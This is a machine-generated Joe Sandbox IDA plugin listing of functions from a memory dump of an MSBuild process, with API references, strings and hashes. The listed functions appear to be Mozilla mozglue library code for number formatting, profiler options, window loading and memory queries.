Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: c4656ae80c6744caa30721a4344687c95df4f2f73f576e2e7eb6ee97bd023f3a
Instruction ID: b06d1bb8080ce94ad4a97d163046c89b7fe194d85bc8366ccef9677d4a2fb2ce
Opcode Fuzzy Hash: c4656ae80c6744caa30721a4344687c95df4f2f73f576e2e7eb6ee97bd023f3a
Instruction Fuzzy Hash: D001B9B2A00104AFDF00BB6ADC4ADBF7BBCEF49214F020425FA45E7651E6716D148BA5

Function 6C532C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C532C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C532C61

Part of subcall function 6C4E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4E4E5A
Part of subcall function 6C4E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C532C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C532E2D

Part of subcall function 6C4F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4F81DE

Strings

(root), xrefs: 6C53354F
ProfileBuffer parse error: %s, xrefs: 6C532E3B
expected a Time entry, xrefs: 6C532E36

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 3f500c82b866cf6e31e0e4715cafd77ef5cb4a4239fb44dddbd633455e4eb380
Instruction ID: c758985df0b16d30336edbd4aa4e4680f908bf68d823c6d5eeb551edbb1d2dc6
Opcode Fuzzy Hash: 3f500c82b866cf6e31e0e4715cafd77ef5cb4a4239fb44dddbd633455e4eb380
Instruction Fuzzy Hash: 2391B0706087408FC724CF28CC8469EB7E1AFC9358F505D1DE59A8B751EB30D94ACB92

Function 6C549E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C549F3D
__aulldiv.LIBCMT ref: 6C549F77
__aullrem.LIBCMT ref: 6C549F8C
__aulldiv.LIBCMT ref: 6C54A023

Strings

NaN, xrefs: 6C549EAB
-Infinity, xrefs: 6C549E60, 6C549E7B

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 6966f17bca14d411fdfb26c2a13a8aae41bd42ff398e5f35fa47224c7dcef663
Instruction ID: 05965fd9a4b59e8c311005a34f050123f4e8fcfe2a5e0164f86011eab5bd8327
Opcode Fuzzy Hash: 6966f17bca14d411fdfb26c2a13a8aae41bd42ff398e5f35fa47224c7dcef663
Instruction Fuzzy Hash: 7FC1AE31E04319CBDB14CFA9CC94B9EB7BAEB88314F54852DD405ABB80D771AD49CB91

Function 6C55545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C558A4B

Strings

~qNl, xrefs: 6C559459, 6C55921F, 6C559269, 6C5556C7, 6C555703, 6C555740, 6C55948F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qNl
API String ID: 2221118986-3580445996
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f90d94ea922435f05162a31537a319ae3126dfb54b1c72f8da0685e4e17a80f4
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: CDB1D772E0021ACFDB14CF68CC907A9B7B2EF85314F5502AAC549DB791E730AD95CB91

Function 6C55542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C55925C

Strings

~qNl, xrefs: 6C559459, 6C55921F, 6C559269, 6C5556C7, 6C555703, 6C555740, 6C55948F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qNl
API String ID: 2221118986-3580445996
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: df9b5fa27f979a278870682f096745419a5e0ce1f563b0c7e773b5cdae7be8b2
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: BBB1C572E0120ACBDB14CE58CC816E9B7B2EF84314F55026AC949DB785D730AD9ACB90

Function 6C5550C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C558E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C55925C

Strings

~qNl, xrefs: 6C559459, 6C55921F, 6C559269, 6C5556C7, 6C555703, 6C555740, 6C55948F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qNl
API String ID: 2221118986-3580445996
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 5c0b7aad1e9ea7a493e66de10e4bc24456740c3417c5a8a1f94ce1aacd1de71c
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: B6A1D772E00216CFDB14CE68CC80799B7B2AF85314F5502BAC949DB795D730AD9ACB90

Function 6C54B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C54B92D), ref: 6C4F9BC8
Part of subcall function 6C4F9B80: __Init_thread_footer.LIBCMT ref: 6C4F9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C4F03D4,?), ref: 6C54B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6C54B9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6C54BA20
RtlNtStatusToDosError.NTDLL ref: 6C54BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C54BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C54BA86

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: ebcd52776c0d0da049890e3a5ca6e7fce85d522736ba310918ab578514ebc9f7
Instruction ID: cec9b9897b03aa2f6b822bbf8cd403d601d542e070507e3ff9cec249d268ff46
Opcode Fuzzy Hash: ebcd52776c0d0da049890e3a5ca6e7fce85d522736ba310918ab578514ebc9f7
Instruction Fuzzy Hash: 4A514A71E01619DFDF14EEA9DC80ADEB7B6EB88314F15812AE901B7B44DB30AD45CB90

Function 6C5377A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C537A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C537A93

Part of subcall function 6C505C50: GetTickCount64.KERNEL32 ref: 6C505D40
Part of subcall function 6C505C50: EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C537AA1

Part of subcall function 6C505C50: __aulldiv.LIBCMT ref: 6C505DB4
Part of subcall function 6C505C50: LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C505DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C537B31

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bf44c3e8efd191b978a12b672f9847f076b20273633e2643ec75ea2aa0467b0f
Instruction ID: 710b3ed822ba5e8a99236f18df5790ef614c05856889e344234bce1522598c8a
Opcode Fuzzy Hash: bf44c3e8efd191b978a12b672f9847f076b20273633e2643ec75ea2aa0467b0f
Instruction Fuzzy Hash: C4B19E31A08390CBDB14CE24C95065FB7E2AFC5358F155A1CE999A7B91E770ED0ACB82

Function 6C54B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C51FE3F), ref: 6C54B720
RtlNtStatusToDosError.NTDLL ref: 6C54B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C51FE3F), ref: 6C54B760

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 3809ec78e9dff27107394a1df468fb49237c64b926cb1119365fac14e1ef9e77
Instruction ID: a26d21b8d10b14408cef0746ed18d95496b1c57f872f8b8d1bd36b6628367d04
Opcode Fuzzy Hash: 3809ec78e9dff27107394a1df468fb49237c64b926cb1119365fac14e1ef9e77
Instruction Fuzzy Hash: 82F0C8B090420CEEEF01ABA5CC84BEF77BD9B4831DF50912AE511656C0D774A9DCD661

Function 6C54B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C4F03D4,?), ref: 6C54B955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6C54B9A5

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 0e7667b32bab47f30cf10843e43492002c39214d4f081cf828a9ed6a8dc28605
Instruction ID: f83215a0d4273fdac40cafd9741731e69018477abc86e86a227a8be86928f4f2
Opcode Fuzzy Hash: 0e7667b32bab47f30cf10843e43492002c39214d4f081cf828a9ed6a8dc28605
Instruction Fuzzy Hash: 25418E71E01619DBDF04DFA9DC84ADEB7B6EFC8314F14812AE805A7B54EB30AD458B90

Function 6C5455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C51E1A5), ref: 6C545606
LoadLibraryW.KERNEL32(gdi32,?,6C51E1A5), ref: 6C54560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C545633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C54563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C54566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C54567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C545696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C545716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C54572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C545748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C545761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C54577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C545793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5457FF

Strings

ShowWindow, xrefs: 6C5456DE
DeleteObject, xrefs: 6C5457F9
GetThreadDpiAwarenessContext, xrefs: 6C54562D
StretchDIBits, xrefs: 6C5457CC
SetWindowLongPtrW, xrefs: 6C5457B7
GetMonitorInfoW, xrefs: 6C5457A2
user32, xrefs: 6C545601
RegisterClassW, xrefs: 6C5456AC
LoadIconW, xrefs: 6C54575B
CreateSolidBrush, xrefs: 6C5457E4
GetWindowDC, xrefs: 6C545710
GetDpiForWindow, xrefs: 6C545690
SetWindowPos, xrefs: 6C5456F7
GetSystemMetricsForDpi, xrefs: 6C545677
AreDpiAwarenessContextsEqual, xrefs: 6C545637
EnableNonClientDpiScaling, xrefs: 6C545666
LoadCursorW, xrefs: 6C545774
MonitorFromWindow, xrefs: 6C54578D
CreateWindowExW, xrefs: 6C5456C5
ReleaseDC, xrefs: 6C545742
gdi32, xrefs: 6C54560A
FillRect, xrefs: 6C545729

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 9b5f34100ad2a163f56d6bd59518972bf13c2e7c4cfe53bd88cc45542dc6d3e3
Instruction ID: 6e6bf6149c204593e4d5070d6706a98af2bdeeb5b9874a55db2191e3d51d2cb8
Opcode Fuzzy Hash: 9b5f34100ad2a163f56d6bd59518972bf13c2e7c4cfe53bd88cc45542dc6d3e3
Instruction Fuzzy Hash: F3513674B117125BDB01AF3F8D54A363AF8AB163457628526F911E2A72EF74CC40CF68

Function 6C52CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C4F582D), ref: 6C52CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C4F582D), ref: 6C52CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C55FE98,?,?,?,?,?,6C4F582D), ref: 6C52CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4F582D), ref: 6C52CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C52CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C52CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C52CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C52CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C52CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C52CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C52CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C52CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C52CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C52CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C52CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C52CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C52CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C52CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C52CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C52CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C52CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C52CE8A

Strings

leaf, xrefs: 6C52CC66
processcpu, xrefs: 6C52CE6E
nostacksampling, xrefs: 6C52CD7C
default, xrefs: 6C52CC21
preferencereads, xrefs: 6C52CD92
Unrecognized feature "%s"., xrefs: 6C52CEA0
unregisteredthreads, xrefs: 6C52CE58
audiocallbacktracing, xrefs: 6C52CDD4
screenshots, xrefs: 6C52CCD4
java, xrefs: 6C52CC37
mainthreadio, xrefs: 6C52CC7C
stackwalk, xrefs: 6C52CCF8
markersallthreads, xrefs: 6C52CE42
noiostacks, xrefs: 6C52CCBE
fileioall, xrefs: 6C52CCA8
ipcmessages, xrefs: 6C52CDBE
samplingallthreads, xrefs: 6C52CE2C
nativeallocations, xrefs: 6C52CDA8
power, xrefs: 6C52CE84
jsallocations, xrefs: 6C52CD0E
notimerresolutionchange, xrefs: 6C52CE00
cpuallthreads, xrefs: 6C52CE16
fileio, xrefs: 6C52CC92
seqstyle, xrefs: 6C52CCE6

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: d7ac3e911eecb17ccf47998e6af235d3583fdf5b61f82877476ccbbb573d9542
Instruction ID: c10792a7138fd73e0a4153b576e53ca4be32fa9e595d73ceb4eccb30abd76b6c
Opcode Fuzzy Hash: d7ac3e911eecb17ccf47998e6af235d3583fdf5b61f82877476ccbbb573d9542
Instruction Fuzzy Hash: 0F51A9F194526952FB0571196D10BAA1484EF9734AF500837DD0AA1EC3FB0DF629C6B7

Function 6C4F47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C4F4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F482D
__Init_thread_footer.LIBCMT ref: 6C4F484A

Part of subcall function 6C51AB3F: EnterCriticalSection.KERNEL32(6C56E370,?,?,6C4E3527,6C56F6CC,?,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB49
Part of subcall function 6C51AB3F: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E3527,6C56F6CC,?,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51AB7C

GetCurrentThreadId.KERNEL32 ref: 6C4F485F
GetCurrentThreadId.KERNEL32 ref: 6C4F487E
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4F488B
free.MOZGLUE(?), ref: 6C4F493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F4956
free.MOZGLUE(00000000), ref: 6C4F4960
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4F499A

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

free.MOZGLUE(?), ref: 6C4F49C6
free.MOZGLUE(?), ref: 6C4F49E9

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C4F4828
[I %d/%d] profiler_shutdown, xrefs: 6C4F4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4F47FC
